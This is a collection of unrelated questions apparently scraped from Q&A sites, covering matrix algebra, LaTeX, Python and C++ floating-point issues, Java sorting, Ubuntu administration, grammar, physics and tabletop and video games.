The Problem Let $A$ be the matrix $\bigl(\begin{smallmatrix}a&b\\c&d\end{smallmatrix} \bigr)$, where no one of $a,b,c,d$ is $0$. Let $B$ be a $2\times 2$ matrix such that $AB+BA=\bigl(\begin{smallmatrix} 0&0\\ 0&0 \end{smallmatrix} \bigr)$. Show that either   $a+d=0$, in which case the general solution for $B$ depends on 2 parameters, or $ad-bc=0$, in which case the general solution for $B$ depends on one parameter.   (this is question 22 of the last matrix exercise of Further Pure Mathematics by Bostock et al.)  Comments Writing $B=\bigl(\begin{smallmatrix} e&f\\ g&h \end{smallmatrix} \bigr)$ and multiplying out I get that    $(a+d)(f+g)+(b+c)(e+h)=0$ $ae+bg+cf+dh=0$   but I am unable to get the required restrictions on $a,b,c,d$. Is there a quick way of doing the problem that doesn't require manual computation? I thought of considering invertible and non-invertible cases but couldn't get anywhere. Help would be much appreciated.


I would like to draw a tadpole diagram with a cross in a circle as the picture in the parenthesis but the double line is not necessary.  I write the codes as below: \begin{fmffile}{tadpole} \begin{fmfgraph*}(50,25) \fmfright{o1} \fmfpoly{cross,pull=?}{v1} \fmf{plain}{v1,o1} \fmfdot{v1} \end{fmfgraph*} \end{fmffile}  What I worry about is \fmfpoly{cross,pull=?}{v1}. I think this should be wrong, but I really don't know how to present a cross in a circle. I hope somebody can help me. Thank you very much.


How to know if my research problem is interesting or not?

I have completed my masters in mathematics. I want to pursue PhD in mathematics. I want to frame a research question and write papers in my field.  But some  questions are bothering me:   How does one know that a research problem is interesting and after solving it, one will be able to publish in a good journal? I know the famous journals in my field. But after reading them, how will I decide myself which problem will be beneficial to solve? Also I have seen there are lots of unsolved problems given at the end of a paper in a journal. If I don't understand or find any interesting problem should I try to solve the problems given at the end of a paper? Does it mean the problems stated at the end of a paper are interesting that's why they are stated as problems?


Unable to answer a protected question in Beta

There was a request in the Workplace Chatroom from a someone on Writers Beta to see if we could share some knowledge on a . Myself not having used it before did not have an account so I created one and received the 100 rep association bonus. The question is protected so I would need to have at least 10 reputation to answer it but when I have gone to the question I am unable to answer it at all. There is no answer box...I double checked that you can use reputation gained from the  and there is nothing in there about not being able to.


Doing accurate floating point division in Python 3

Is there a way to do accurate floating point division in Python?  Let's say I try to do the following mathematical operations.   0.6 / 0.3 returns 2.0 which is correct. Cool, it looks like math is working! 0.6 / 0.2 returns 2.9999999999999996 when 3.0 would be the correct result. 0.6 / 0.1 returns 5.999999999999999 when 6.0 would be the correct result.    I'm wondering if there is a simple solution to this issue that I'm totally missing?  Note: I have seen the answers for  and although many of the answers do an outstanding job of explaining floating point operations, it does not appear that any of the responses provide an actual solution on how to accurately do division with floating point values in Python.


Java sort a list of object based on its different attributes

I have a list with IP address, role and group. I want to firstly sort the the entire list with its group number. And based on the new list, for each group, I want to sort again by the role. Finally, based on the former sort, sort again by the IP address. I can't find a way to achieve my goal and struggle in it for a couple hours, please help, thank you in advance.  for example, the list is like:   { <192.168.1.1, 1, "group 2">, <192.168.1.3, 1, "group 1">,     <192.168.1.7, 2, "group 1">, <192.168.1.25, 2, "group 1">, <192.168.1.1, 2, "group 2"> }   Ideally, after three sorts, the output should be something like:  { <192.168.1.3, 1, "group 1">, <192.168.1.7, 2, "group 1">, <192.168.1.25, 2, "group 1">,  <192.168.1.1, 1, "group 2">, <192.168.1.1, 2, "group 2"> }


Let's define $x=\sqrt{ab}$, where $a=-1$ and $b=-1$.  Does $x=1$, as $-1\cdot-1=1\implies\sqrt{-1\cdot-1}=\sqrt{1}=1$?  Or maybe $x=-1$, as $\sqrt{a^2}=a\implies\sqrt{-1\cdot-1}=\sqrt{(-1)^2}=-1$?  I assume that at least one of the following is true:   The former solution is true, and the fallacy is in assuming $\sqrt{a^2}=a$ for a negative base $a$. This doesn't seem to hold, given that this is equivalent to saying that $a^{2^{\frac12}}\not=a^{2\cdot\frac12}=a$ for a negative $a$, where the value of $a$ seemingly has no bearing on the arithmetic performed with the exponents. The former solution is true, and the fallacy is in assuming the positive root is meant in the latter solution; in fact, $\sqrt{-1\cdot-1}=-\sqrt{(-1)^2}=--1=1$. But this implies that, depending on how the radicand is factored, one is forced to take the positive root for one factoring and the negative root for another factoring to get the same answer, which doesn't seem right. The latter solution is true, and the fallacy is in assuming the positive root is meant in the former solution; in fact, $\sqrt{-1\cdot-1}=-\sqrt1=-1$. But, in addition to the problem with the previous solution, this additionally means that $\sqrt{ab}=\sqrt{a}\sqrt{b}$ holds even for negative $a,b$.   Which of my reasonings is incorrect? Or are all of them correct, and there's an additional solution that I'm not seeing?


Searching a virtual printer, that sends emails

I need a software, that emulates a printer, converts the printed documents to PDF/TIFF and send it via eMail to a specified address (for windows).  The virtual printer / PDF conversion is possible with a lot of PDF-converters. But I need a software, which is also able to directly mail me these PDFs. It's always the same mailaddress, and I have an SMTP server.  Any suggestions?


Why the pressure of atmosphere doesn't crush you when you e.g. walk outside? I mean the density of air is $1.26 kg/m^3$, so with $100 km$ above us, it exerts much pressure on you when you walk outside.


Is it possible to combine all margin pars of a line?

In the following code, would it be possible to automatically generate the desired output (2nd paragraph) form the given input (1st paragraph)?  \documentclass[parskip]{scrbook}  \usepackage{xparse}  \NewDocumentCommand{\mref}{ m o }{    \IfValueT{#2}{%       \textbf{#2}    }%    \marginpar{$\to$ \ref{#1}}% }  \usepackage{lipsum}  \begin{document}    Input:\\    Text \mref{foo}[Foo] with two Refs \mref{bar}[Bar-Text] in a line.    \lipsum[2]     Desired Output:\\    Text \textbf{Foo} with two Refs \textbf{Bar-Text}    \marginpar{$\to$ \ref{foo} \enskip $\to$ \ref{bar}}    in a line.    \lipsum[2]     \chapter{Foo}\label{foo}    \chapter{Bar}\label{bar} \end{document}   My idea would be to test and save the y position on the page and collect all margin pars until the shipout. Then combine this with the same y value and add them to the page as an overlay. I didn’t implement that yet as I want to wait if there is an easier more elegant way …


I have installed the Ubuntu Touch Developer Preview on my Nexus 4. It is the problem when I want to get back to my android 4.2.2 but I wipe all my data first, from factory reset, cache partition and also the dalvik cache.  Now, I cannot root my phone to android neither ubuntu because the pc cannot recognize my phone. Can you tell me what is my problem and how can I fix this? Thanks!


Find out if the OS is running in a virtual environment

Is there any way to find out if the OS I'm running (actually installing) is running in a VMWare machine. I need to disable ntp settings if the automated install is done on a virtual machine but keep them enabled if installing on bare metal.


Quickest way to rename files, without retyping directory path

I know how to rename files in Unix:  $ mv ~/folder/subfolder/file.txt ~/folder/subfolder/file.sh       ^-------this part------^    ^------this part-------^   It takes too long time to repeat ~/folder/subfolder/file twice.  Is there a quicker way?


Do compound subjects like "everyone ... and everyone..." take singular or plural verb agreement?

Here are the examples of compound subjects:      Everything on the bed and everything in the closet was organised   in under an hour.   Everybody who witnessed the shooting and everybody   in the room were interviewed.   Anyone on the soccer team and   anybody on the basketball team was eligible for the scholarship.   Should I also use was instead of were in the second example? Or the first and the third examples are incorrect that I should use were instead of was.


double to int conversion (*10 work, 100 loss of precision)

Question related to         #include <iostream>     int main()     {         double x = 4.10;         double j = x * 100;          int k = (int) j;          std::cout << k;      }       Output: 409    BUT with 10 instead of 100 :        #include <iostream>     int main()     {         double x = 4.10;         double j = x * 10;          int k = (int) j;          std::cout << k;      }       Output: 41    Since the value actually stored is something like 4.099999... I would expect to get 40 because of truncate and not 41 which is the exact value.  What happened ?


$\sum k! = 1! +2! +3! + \cdots + n!$ ,is there a generic formula for this?

I came across a question where I needed to find the sum of the factorials of the first $n$ numbers. So I was wondering if there is any generic formula for this? Like there is a generic formula for the series: $$ 1 + 2 + 3 + 4 + \cdots + n = \frac{n(n+1)}{2} $$ or $$ 1^{2} + 2^{2} + 3^{2} + 4^{2} + \cdots + n^{2} = \frac{n(n+1)(2n + 1)}{6} $$  Is there is any formula for: $$ 1! +2! +3! + 4! + \cdots + n! $$ and $$ {1!}^2 +{2!}^2 +{3!}^2 + \cdots + {n!}^2 $$?  Thanks in advance. If not, is there any research on making this type of formula? Because I am interested.


How do I request migration of a question from site X to site Y

A question posted on one Stack Exchange site does not belong on that site, but might fit well on another Stack Exchange site. How can I get the question moved from its current site to the other site?


Is there such a thing as a VB 6.0 decompiler?    If so are there any free products that do this?


Is it possible to upgrade from 14.04 directly to 16.04?

I  have read that upgrading from 14.04 to 16.04 is not possible. Instead there is a recommendation to upgrade in steps through all releases and ultimately 16.04. Is this information correct?  I did attempt a staged upgrade on a 32-bit Dell laptop and when I got to 15.10 the system would not start the GUI.  I did a fresh install of 16.04 and it worked just fine.   Can one upgrade from 14.04 to 16.04 directly and what are the steps to make that a success? Ubuntu is all I use and I cannot lose my current files and apps.


How can I flush the output of the print function?

How do I force Python's print function to output to the screen?


What's the right way to call properties within the class?

This question may look silly for some but I want to understand the concept behind, I have a single property(i.e TestNumber) within a TestClass.   public class TestClass  {     private uint testNumber=0;     public uint TestNumber     {         get { return testNumber; }         set { testNumber = value; }     }      public TestClass ()     {         TestNumber = 0;         // or         testNumber = 0;     } }   Now, if I want to set or get the value of the property outside the class, I can simply do the following,  TestClass tc = new TestClass (); tc.TestNumber = 10;   but my question is if I want to access this property within the same class, I have two options either  I can use  testNumber = 0;   or  TestNumber = 0;, so which one is correct  & why?  Thanks!


Undefined result of relativistic velocity addition formula

Isn't it impossible to estimate the velocity of framework through relativistic velocity addition formula when the event moves at speed of the light? $$u=\frac{v-v'}{1-vv'/c^2}$$  if $v=v'=c$  $u=\frac{0}{0}$ undefined,  Note that the $u$ denotes velocity of frame, $v$ denotes velocity of event and $v'$ denotes velocity of event from frame viewpoint.  (because when the event moves at speed of the light result of relativistic velocity addition formula is equal to zero devided by zero which is undefined and indeterminate)


What will be better for performance and readability: a status column with boolean type or varchar?

I'm creating a laravel app and some tables will have status column that will receive just two values: ACTIVE or INACTIVE.  I think I have two options:   boolean, normally set as tinyint(1) on MySql varchar, and set ACTIVE or INACTIVE strings values   The big question is which type should I choose:   The first one is smaller to storage on database, and if I set column name like is_active is easy to use in code, but will make database more difficult to ready by humans; The second one will require more space to be saved in database and  some class constants in model to make things more organized, but will make database more easy to read for humans (and new developers that could be added to project).   Which should I choose to have a good performance and readability?  Edit:  My question is about the difficulty / complexity to read / understand the database by developer if it needs to edit something directly in the database as opposed to the storage and performance question.


I have tried to tame it but it still looks like an ocelot even though I can put it in breeding mode. I can't make it sit it does not follow me the only thing I can do is put it in breeding mode. How can I tame it


Issues in using a internet browser with java plugin on Linux Ubuntu 18.04

Despite I followed various instructions/replies indicated in various answers on Askubuntu, I can't in any way use Java plugins in Firefox 71.0 on my Linux Ubuntu 18.04 (Linux 4.15.0-74-generic # 84-Ubuntu SMP Thu Dec 19 08:06: 28 UTC 2019 x86_64 x86_64 x86_64 GNU / Linux).   Do you have any solution to solve this issue?  I encounter the same issue using the chromium browser (Google Chrome 79.0.3945.88). Can anyone tell me how to fix this other issue?  Alternatively can someone point me to a browser that can use the Java Oracle plugin?


How might it be possible to alter some variable in the env of an already running process, for example through /proc/PID/environ? That "file" is read-only.  Need to change or unset the DISPLAY variable of a long-running batch job without killing it.


If Switch Statements breaks SOLID Principles as Uncle Bob states (in Clean Code), should I be using them at all with OO Languages?

In Clean Code, Uncle Bob states that switch statements almost always break Single Responsibility and Open/Closed Principles. So does this mean that I should rarely (the only case he proposes is when switch is buried in an Abstract Factory to create polymorphic objects) use Switch Statements and therefore Enumerations? This brings the question that are Switch Statements really necessary to have in an OO Language?  Swift language for instance seems to favour enumerations (they can carry data and so on). Minimising their usage would be a major decision. Swift being an OO Language, do the same rules apply?


I have an Ubuntu Linux box (12.04). I can't prevent the screen blanking under X.  I have tried the command xset s off, inserted the command line  kernel parameter acpi=off in grub at kernel boot. Changed xorg.conf. Then used the GUI tool in Ubuntu's "Monitor Preferences", the tool "Power Management". I uninstalled gnome-screensaver and xscreensaver. Nothing has worked and I don't know what to do anymore.  How can I disable screen blanking under X?


Is there any pros and cons for using of Unicode (and vice versa) in LaTeX equations?  Consider two examples:  \lim_{h→0}∫_{x_0}^{x_0 + h}\frac{f(t)}{h} = f(x_0)  x_0 ⇔ ∀ 𝜀 > 0, ∃ 𝛿 > 0,(|x-x_0| < 𝛿 ⇒ |f(x)-f(x_0)| < 𝜀)   And without Unicode:  \lim\limits_{h \to 0}\int\limits_{x_0}^{x_0+h}\frac{f(t)}{h}=f(x_0)  x_0 \Leftrightarrow \forall\epsilon > 0, \exists\delta>0,(|x-x_0|<\delta \Rightarrow |f(x)-f(x_0)|<\epsilon)   With latest XeLaTeX the result is the same, so!, what's better?


Want show that $(x,y)\mapsto (x+y)/2$ is injective

The problem is about proving that $[0,1]^2$ is uncountable. I have proven that $[0,1]$ is uncountable, and so I would conclude that $|[0,1]^2|=|[0,1]|$ by finding a bijection $[0,1]^2\to [0,1]$. I think about letting $f:[0,1]^2 \to [0,1]$ to be defined as $f(x,y)=(x+y)/2$. This is surjective, but I do not know how to prove that it is injective. If $f(x,y)=f(x',y')$ is assumed, I have no idea how to make $x+y=x'+y'$ to imply $x=x'$ and $y=y'$.   PS: If this can not be injective, I'll edit the post to add another approach. Any hints are appreciated.


To "rescue" a fallen ally, do you have to enter their 5' square?

Apologies if this has been answered elsewhere, but I did spend a couple of hours researching this online and didn't find anything definitive. I DM a campaign in which a party member has fallen unconscious and is about to start making death saving throws on the following turn. A character (with flying in this particular example) wants to drag the ally out of the fray and then up to the roof for safety (they are fighting in a small open courtyard). I have seen a lot of opinion on the use of grappling for ally extraction as well as the action and movement economies to answer those related questions.  However, right now I need to determine whether the rescuer will provoke an attack of opportunity when they extract the ally.  Really, to me, it has come down to whether you are dragging an ally from your own square (and not within 5 feet of an enemy) or whether you have to enter their square in order to drag them. Does carry vs drag change your answer? Does the ability to fly change your answer?


Can you store more than one of the same key in the same capsule?  Providing of course you have enough room etc.  I noticed that you can only hold one of the keys, as the portal doesn't give you one if it picks up you already have one. I have a key in my inventory as well as in a capsule. I am not sure if I should try adding it to the capsule without losing it. Can anyone clarify that you can store multiple keys in the same capsule?